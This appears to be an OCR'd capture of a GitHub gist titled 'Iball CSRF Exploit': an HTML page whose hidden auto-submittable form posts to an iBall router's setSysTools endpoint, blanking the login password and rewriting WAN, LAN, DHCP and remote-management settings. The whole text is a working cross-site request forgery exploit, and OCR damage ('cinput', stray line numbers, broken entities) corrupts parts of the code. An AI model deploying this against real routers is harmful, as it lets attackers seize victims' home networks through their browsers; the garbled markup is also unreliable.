Saket-taneja / iballcsrf.html

Created 2 years ago

☆ Star

<> Code → Revisions 1

Iball CSRF Exploit

```
○ iballcsrf.html
         <html>
           <body>
           <script>history.pushState('', '', '/')</script>
             <form action="http://192.168.1.1/goform/setSysTools" method="POST">
               cinput type="hidden" name="module1" value="loginAuth" />
cinput type="hidden" name="newPwd" value="" />
cinput type="hidden" name="oldPwd" value="" />
                <input type="hidden" name="module2" value="wanAdvCfg" />
                <input type="hidden" name="wanServerName" value="" />
                <input type="hidden" name="wanServiceName" value="excitel" />
                cinput type="hidden" name="wanMTU" value="1480" />
   11
               camput type="hidden" name="wanClnor" value="1480" />
cinput type="hidden" name="wanClnor" value="default" />
cinput type="hidden" name="wanMAC" value="00:1E:A6:E6:EC:DE //>
   12
   13
   14
                <input type="hidden" name="wanSpeed" value="Auto" />
   15
                <input type="hidden" name="module3" value="lanCfg" />
                <input type="hidden" name="lanIP" value="192&#46;168&#46;18#46;1" />
                <input type="hidden" name="lanMask" value="2558#46;2558#46;2558#46;0" />
<input type="hidden" name="dhcpEn" value="true" />
   17
   18
                <input type="hidden" name="lanDhcpStartIP" value="192&#46;168&#46;201" />
   19
   20
                <input type="hidden" name="lanDhcpEndIP" value="192&#46;168&#46;1&#46;240" />
   21
                <input type="hidden" name="lanDns1" value="192&#46;168&#46;1&#46;1" />
                <input type="hidden" name="lanDns2" value="" />
   23
                <input type="hidden" name="module4" value="remoteWeb" />
                <input type="hidden" name="remoteWebEn" value="false" />
   24
                <input type="hidden" name="remoteWebType" value="any" />
   25
                <input type="hidden" name="remoteWebIP" value="" />
   26
   27
                <input type="hidden" name="remoteWebPort" value="8080" />
               <input type="hidden" name="module5" value="sysTime" />
               <input type="hidden" name="sysTimeZone" value="49" />
   30
               <input type="hidden" name="module6" value="softWare" />
               <input type="hidden" name="autoMaintenanceEn" value="true" />
   31
               <input type="submit" value="Submit request" />
   32
   33
             </form>
   34
           </body>
```